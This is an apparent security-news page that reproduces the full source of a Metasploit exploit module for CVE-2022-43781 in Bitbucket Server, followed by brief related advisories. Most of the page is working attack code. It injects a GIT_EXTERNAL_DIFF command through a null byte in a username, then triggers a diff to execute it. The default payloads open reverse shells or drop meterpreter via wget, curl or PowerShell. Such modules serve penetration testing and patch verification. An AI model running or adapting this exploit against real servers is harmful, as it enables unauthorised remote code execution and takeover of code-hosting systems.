Security
Headlines
HeadlinesLatestCVEs

Headline

Bitbucket Environment Variable Remote Command Injection

For various versions of Bitbucket, there is an authenticated command injection vulnerability that can be exploited by injecting environment variables into a user name. This module achieves remote code execution as the atlbitbucket user by injecting the GIT_EXTERNAL_DIFF environment variable, a null character as a delimiter, and arbitrary code into a user’s user name. The value (payload) of the GIT_EXTERNAL_DIFF environment variable will be run once the Bitbucket application is coerced into generating a diff. This Metasploit module requires at least admin credentials, as admins and above only have the option to change their user name.

Packet Storm
#vulnerability#web#windows#linux#js#git#java#rce#xpath#auth#bitbucket#ssl
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Git  include Msf::Exploit::Git::SmartHttp  include Msf::Exploit::CmdStager  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Bitbucket Environment Variable RCE',        'Description' => %q{          For various versions of Bitbucket, there is an authenticated command injection          vulnerability that can be exploited by injecting environment          variables into a user name. This module achieves remote code execution          as the `atlbitbucket` user by injecting the `GIT_EXTERNAL_DIFF` environment          variable, a null character as a delimiter, and arbitrary code into a user's          user name. The value (payload) of the `GIT_EXTERNAL_DIFF` environment variable          will be run once the Bitbucket application is coerced into generating a diff.          This module requires at least admin credentials, as admins and above          only have the option to change their user name.        },        'License' => MSF_LICENSE,        'Author' => [          'Ry0taK', # Vulnerability Discovery          'y4er', # PoC and blog post          'Shelby Pace' # Metasploit Module        ],        'References' => [          [ 'URL', 'https://y4er.com/posts/cve-2022-43781-bitbucket-server-rce/'],          [ 'URL', 'https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-security-advisory-2022-11-16-1180141667.html'],          [ 'CVE', '2022-43781']        ],        'Platform' => [ 'win', 'unix', 'linux' ],        'Privileged' => true,        'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],        'Targets' => [          [            'Linux Command',            {              'Platform' => 'unix',              'Type' => :unix_cmd,              'Arch' => [ ARCH_CMD ],              'Payload' => { 'Space' => 254 },              'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_bash' }            }          ],          [            'Linux Dropper',            {              'Platform' => 'linux',              'MaxLineChars' => 254,              'Type' => :linux_dropper,              'Arch' => [ ARCH_X86, ARCH_X64 ],              'CmdStagerFlavor' => %i[wget curl],              'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }            }          ],          [            'Windows Dropper',            {              'Platform' => 'win',              'MaxLineChars' => 254,              'Type' => :win_dropper,              'Arch' => [ ARCH_X86, ARCH_X64 ],              'CmdStagerFlavor' => [ :psh_invokewebrequest ],              'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }            }          ]        ],        'DisclosureDate' => '2022-11-16',        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [ CRASH_SAFE ],          'Reliability' => [ REPEATABLE_SESSION ],          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]        }      )    )    register_options(      [        Opt::RPORT(7990),        OptString.new('USERNAME', [ true, 'User name to log in with' ]),        OptString.new('PASSWORD', [ true, 'Password to log in with' ]),        OptString.new('TARGETURI', [ true, 'The URI of the Bitbucket instance', '/'])      ]    )  end  def check    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'login'),      'keep_cookies' => true    )    return CheckCode::Unknown('Failed to retrieve a response from the target') unless res    return CheckCode::Safe('Target does not appear to be Bitbucket') unless res.body.include?('Bitbucket')    nokogiri_data = res.get_html_document    footer = nokogiri_data&.at('footer')    return CheckCode::Detected('Failed to retrieve version information from Bitbucket') unless footer    version_info = footer.at('span')&.children&.text    return CheckCode::Detected('Failed to find version information in footer section') unless version_info    vers_matches = version_info.match(/v(\d+\.\d+\.\d+)/)    return CheckCode::Detected('Failed to find version info in expected format') unless vers_matches && vers_matches.length > 1    version_str = vers_matches[1]    vprint_status("Found version #{version_str} of Bitbucket")    major, minor, revision = version_str.split('.')    rev_num = revision.to_i    case major    when '7'      case minor      when '0', '1', '2', '3', '4', '5'        return CheckCode::Appears      when '6'        return CheckCode::Appears if rev_num >= 0 && rev_num <= 18      when '7', '8', '9', '10', '11', '12', '13', '14', '15', '16'        return CheckCode::Appears      when '17'        return CheckCode::Appears if rev_num >= 0 && rev_num <= 11      when '18', '19', '20'        return CheckCode::Appears      when '21'        return CheckCode::Appears if rev_num >= 0 && rev_num <= 5      end    when '8'      print_status('Versions 8.* are vulnerable only if the mesh setting is disabled')      case minor      when '0'        return CheckCode::Appears if rev_num >= 0 && rev_num <= 4      when '1'        return CheckCode::Appears if rev_num >= 0 && rev_num <= 4      when '2'        return CheckCode::Appears if rev_num >= 0 && rev_num <= 3      when '3'        return CheckCode::Appears if rev_num >= 0 && rev_num <= 2      when '4'        return CheckCode::Appears if rev_num == 0 || rev_num == 1      end    end    CheckCode::Detected  end  def default_branch    @default_branch ||= Rex::Text.rand_text_alpha(5..9)  end  def uname_payload(cmd)    "#{datastore['USERNAME']}\u0000GIT_EXTERNAL_DIFF=$(#{cmd})"  end  def log_in(username, password)    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'login'),      'keep_cookies' => true    )    fail_with(Failure::UnexpectedReply, 'Failed to access login page') unless res&.body&.include?('login')    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'j_atl_security_check'),      'keep_cookies' => true,      'vars_post' => {        'j_username' => username,        'j_password' => password,        '_atl_remember_me' => 'on',        'submit' => 'Log in'      }    )    fail_with(Failure::UnexpectedReply, 'Didn\'t retrieve a response') unless res    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'projects'),      'keep_cookies' => true    )    fail_with(Failure::UnexpectedReply, 'No response from the projects page') unless res    unless res.body.include?('Logged in')      fail_with(Failure::UnexpectedReply, 'Failed to log in. Please check credentials')    end  end  def create_project    proj_uri = normalize_uri(target_uri.path, 'projects?create')    res = send_request_cgi(      'method' => 'GET',      'uri' => proj_uri,      'keep_cookies' => true    )    fail_with(Failure::UnexpectedReply, 'Unable to access project creation page') unless res&.body&.include?('Create project')    vprint_status('Retrieving security token')    html_doc = res.get_html_document    token_data = html_doc.at('div//input[@name="atl_token"]')    fail_with(Failure::UnexpectedReply, 'Failed to find element containing \'atl_token\'') unless token_data    @token = token_data['value']    fail_with(Failure::UnexpectedReply, 'No token found') if @token.blank?    project_name = Rex::Text.rand_text_alpha(5..9)    project_key = Rex::Text.rand_text_alpha(5..9).upcase    res = send_request_cgi(      'method' => 'POST',      'uri' => proj_uri,      'keep_cookies' => true,      'vars_post' => {        'name' => project_name,        'key' => project_key,        'submit' => 'Create project',        'atl_token' => @token      }    )    fail_with(Failure::UnexpectedReply, 'Failed to receive response from project creation') unless res    fail_with(Failure::UnexpectedReply, 'Failed to create project') unless res['Location']&.include?(project_key)    print_status('Project creation was successful')    [ project_name, project_key ]  end  def create_repository    repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos?create')    res = send_request_cgi(      'method' => 'GET',      'uri' => repo_uri,      'keep_cookies' => true    )    fail_with(Failure::UnexpectedReply, 'Failed to access repo creation page') unless res    html_doc = res.get_html_document    dropdown_data = html_doc.at('li[@class="user-dropdown"]')    fail_with(Failure::UnexpectedReply, 'Failed to find dropdown to retrieve email address') if dropdown_data.blank?    email = dropdown_data&.at('span')&.[]('data-emailaddress')    fail_with(Failure::UnexpectedReply, 'Failed to retrieve email address from response') if email.blank?    repo_name = Rex::Text.rand_text_alpha(5..9)    res = send_request_cgi(      'method' => 'POST',      'uri' => repo_uri,      'keep_cookies' => true,      'vars_post' => {        'name' => repo_name,        'defaultBranchId' => default_branch,        'description' => '',        'scmId' => 'git',        'forkable' => 'false',        'atl_token' => @token,        'submit' => 'Create repository'      }    )    fail_with(Failure::UnexpectedReply, 'No response received from repo creation') unless res    res = send_request_cgi(      'method' => 'GET',      'keep_cookies' => true,      'uri' => normalize_uri(target_uri.path, 'projects', @project_key, 'repos', repo_name, 'browse')    )    fail_with(Failure::UnexpectedReply, 'Repository was not created') if res&.code == 404    print_good("Successfully created repository '#{repo_name}'")    [ email, repo_name ]  end  def generate_repo_objects(email, repo_file_data = [], parent_object = nil)    txt_data = Rex::Text.rand_text_alpha(5..20)    blob_object = GitObject.build_blob_object(txt_data)    file_name = "#{Rex::Text.rand_text_alpha(4..10)}.txt"    file_data = {      mode: '100755',      file_name: file_name,      sha1: blob_object.sha1    }    tree_data = (repo_file_data.empty? ? [ file_data ] : [ file_data, repo_file_data ])    tree_obj = GitObject.build_tree_object(tree_data)    commit_obj = GitObject.build_commit_object({      tree_sha1: tree_obj.sha1,      email: email,      message: Rex::Text.rand_text_alpha(4..30),      parent_sha1: (parent_object.nil? ? nil : parent_object.sha1)    })    {      objects: [ commit_obj, tree_obj, blob_object ],      file_data: file_data    }  end  # create two files in two separate commits in order  # to view a diff and get code execution  def create_commits(email)    init_objects = generate_repo_objects(email)    commit_obj = init_objects[:objects].first    refs = {      'HEAD' => "refs/heads/#{default_branch}",      "refs/heads/#{default_branch}" => commit_obj.sha1    }    final_objects = generate_repo_objects(email, init_objects[:file_data], commit_obj)    repo_objects = final_objects[:objects] + init_objects[:objects]    new_commit = final_objects[:objects].first    new_file = final_objects[:file_data][:file_name]    git_uri = normalize_uri(target_uri.path, "scm/#{@project_key}/#{@repo_name}.git")    res = send_receive_pack_request(      git_uri,      refs['HEAD'],      repo_objects,      '0' * 40 # no commits should exist yet, so no branch tip in repo yet    )    fail_with(Failure::UnexpectedReply, 'Failed to push commit to repository') unless res    fail_with(Failure::UnexpectedReply, 'Git responded with an error') if res.body.include?('error:')    fail_with(Failure::UnexpectedReply, 'Git push failed') unless res.body.include?('unpack ok')    [ new_commit.sha1, commit_obj.sha1, new_file ]  end  def get_user_id(curr_uname)    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'admin/users/view'),      'vars_get' => { 'name' => curr_uname }    )    matched_id = res.get_html_document&.xpath("//script[contains(text(), '\"name\":\"#{curr_uname}\"')]")&.first&.text&.match(/"id":(\d+)/)    fail_with(Failure::UnexpectedReply, 'No matches found for id of user') unless matched_id && matched_id.length > 1    matched_id[1]  end  def change_username(curr_uname, new_uname)    @user_id ||= get_user_id(curr_uname)    headers = {      'X-Requested-With' => 'XMLHttpRequest',      'X-AUSERID' => @user_id,      'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}"    }    vars = {      'name' => curr_uname,      'newName' => new_uname    }.to_json    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'rest/api/latest/admin/users/rename'),      'ctype' => 'application/json',      'keep_cookies' => true,      'headers' => headers,      'data' => vars    )    unless res      print_bad('Did not receive a response to the user name change request')      return false    end    unless res.body.include?(new_uname) || res.body.include?('GIT_EXTERNAL_DIFF')      print_bad('User name change was unsuccessful')      return false    end    true  end  def commit_uri(project_key, repo_name, commit_sha)    normalize_uri(      target_uri.path,      'rest/api/latest/projects',      project_key,      'repos',      repo_name,      'commits',      commit_sha    )  end  def view_commit_diff(latest_commit_sha, first_commit_sha, diff_file)    commit_diff_uri = normalize_uri(      commit_uri(@project_key, @repo_name, latest_commit_sha),      'diff',      diff_file    )    send_request_cgi(      'method' => 'GET',      'uri' => commit_diff_uri,      'keep_cookies' => true,      'vars_get' => { 'since' => first_commit_sha }    )  end  def delete_repository(username)    vprint_status("Attempting to delete repository '#{@repo_name}'")    repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos', @repo_name.downcase)    res = send_request_cgi(      'method' => 'DELETE',      'uri' => repo_uri,      'keep_cookies' => true,      'headers' => {        'X-AUSERNAME' => username,        'X-AUSERID' => @user_id,        'X-Requested-With' => 'XMLHttpRequest',        'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}",        'ctype' => 'application/json',        'Accept' => 'application/json, text/javascript'      }    )    unless res&.body&.include?('scheduled for deletion')      print_warning('Failed to delete repository')      return    end    print_good('Repository has been deleted')  end  def delete_project(username)    vprint_status("Now attempting to delete project '#{@project_name}'")    send_request_cgi( # fails to return a response      'method' => 'DELETE',      'uri' => normalize_uri(target_uri.path, 'projects', @project_key),      'keep_cookies' => true,      'headers' => {        'X-AUSERNAME' => username,        'X-AUSERID' => @user_id,        'X-Requested-With' => 'XMLHttpRequest',        'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}",        'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}/projects/#{@project_key}/settings",        'ctype' => 'application/json',        'Accept' => 'application/json, text/javascript, */*; q=0.01',        'Accept-Encoding' => 'gzip, deflate'      }    )    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'projects', @project_key),      'keep_cookies' => true    )    unless res&.code == 404      print_warning('Failed to delete project')      return    end    print_good('Project has been deleted')  end  def get_repo    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'rest/api/latest/repos'),      'keep_cookies' => true    )    unless res      print_status('Couldn\'t access repos page. Will create repo')      return []    end    json_data = JSON.parse(res.body)    unless json_data && json_data['size'] >= 1      print_status('No accessible repositories. Will attempt to create a repo')      return []    end    repo_data = json_data['values'].first    repo_name = repo_data['slug']    project_key = repo_data['project']['key']    unless repo_name && project_key      print_status('Could not find repo name and key. Creating repo')      return []    end    [ repo_name, project_key ]  end  def get_repo_info    unless @project_name && @project_key      print_status('Failed to find valid project information. Will attempt to create repo')      return nil    end    res = send_request_cgi(      'method' => 'GET',      'uri' => normalize_uri('projects', @project_key, 'repos', @project_name, 'commits'),      'keep_cookies' => true    )    unless res      print_status("Failed to access existing repository #{@project_name}")      return nil    end    html_doc = res.get_html_document    commit_data = html_doc.search('a[@class="commitid"]')    unless commit_data && commit_data.length > 1      print_status('No commits found for existing repo')      return nil    end    latest_commit = commit_data[0]['data-commitid']    prev_commit = commit_data[1]['data-commitid']    file_uri = normalize_uri(commit_uri(@project_key, @project_name, latest_commit), 'changes')    res = send_request_cgi(      'method' => 'GET',      'uri' => file_uri,      'keep_cookies' => true    )    return nil unless res    json = JSON.parse(res.body)    return nil unless json['values']    path = json['values']&.first&.dig('path')    return nil unless path    [ latest_commit, prev_commit, path['name'] ]  end  def exploit    @use_public_repo = true    datastore['GIT_USERNAME'] = datastore['USERNAME']    datastore['GIT_PASSWORD'] = datastore['PASSWORD']    if datastore['USERNAME'].blank? && datastore['PASSWORD'].blank?      fail_with(Failure::BadConfig, 'No credentials to log in with.')    end    log_in(datastore['USERNAME'], datastore['PASSWORD'])    @curr_uname = datastore['USERNAME']    @project_name, @project_key = get_repo    @repo_name = @project_name    @latest_commit, @first_commit, @diff_file = get_repo_info    unless @latest_commit && @first_commit && @diff_file      @use_public_repo = false      @project_name, @project_key = create_project      email, @repo_name = create_repository      @latest_commit, @first_commit, @diff_file = create_commits(email)      print_good("Commits added: #{@first_commit}, #{@latest_commit}")    end    print_status('Sending payload')    case target['Type']    when :win_dropper      execute_cmdstager(linemax: target['MaxLineChars'] - uname_payload('cmd.exe /c ').length, noconcat: true, temp: '.')    when :linux_dropper      execute_cmdstager(linemax: target['MaxLineChars'], noconcat: true)    when :unix_cmd      execute_command(payload.encoded.strip)    end  end  def cleanup    if @curr_uname != datastore['USERNAME']      print_status("Changing user name back to '#{datastore['USERNAME']}'")      if change_username(@curr_uname, datastore['USERNAME'])        @curr_uname = datastore['USERNAME']      else        print_warning('User name is still set to payload.' \                      "Please manually change the user name back to #{datastore['USERNAME']}")      end    end    unless @use_public_repo      delete_repository(@curr_uname) if @repo_name      delete_project(@curr_uname) if @project_name    end  end  def execute_command(cmd, _opts = {})    if target['Platform'] == 'win'      curr_payload = (cmd.ends_with?('.exe') ? uname_payload("cmd.exe /c #{cmd}") : uname_payload(cmd))    else      curr_payload = uname_payload(cmd)    end    unless change_username(@curr_uname, curr_payload)      fail_with(Failure::UnexpectedReply, 'Failed to change user name to payload')    end    view_commit_diff(@latest_commit, @first_commit, @diff_file)    @curr_uname = curr_payload  endend

Related news

Atlassian's Jira Software Found Vulnerable to Critical Authentication Vulnerability

Atlassian has released fixes to resolve a critical security flaw in Jira Service Management Server and Data Center that could be abused by an attacker to pass off as another user and gain unauthorized access to susceptible instances. The vulnerability is tracked as CVE-2023-22501 (CVSS score: 9.4) and has been described as a case of broken authentication with low attack complexity. "An

Atlassian Releases Patches for Critical Flaws Affecting Crowd and Bitbucket Products

Australian software company Atlassian has rolled out security updates to address two critical flaws affecting Bitbucket Server, Data Center, and Crowd products. The issues, tracked as CVE-2022-43781 and CVE-2022-43782, are both rated 9 out of 10 on the CVSS vulnerability scoring system. CVE-2022-43781, which Atlassian said was introduced in version 7.0.0 of Bitbucket Server and Data Center,

CVE-2022-43781: Bitbucket Server and Data Center Security Advisory 2022-11-16 | Bitbucket Data Center and Server 8.6

There is a command injection vulnerability using environment variables in Bitbucket Server and Data Center. An attacker with permission to control their username can exploit this issue to execute arbitrary code on the system. This vulnerability can be unauthenticated if the Bitbucket Server and Data Center instance has enabled “Allow public signup”.

Packet Storm: Latest News

Acronis Cyber Protect/Backup Remote Code Execution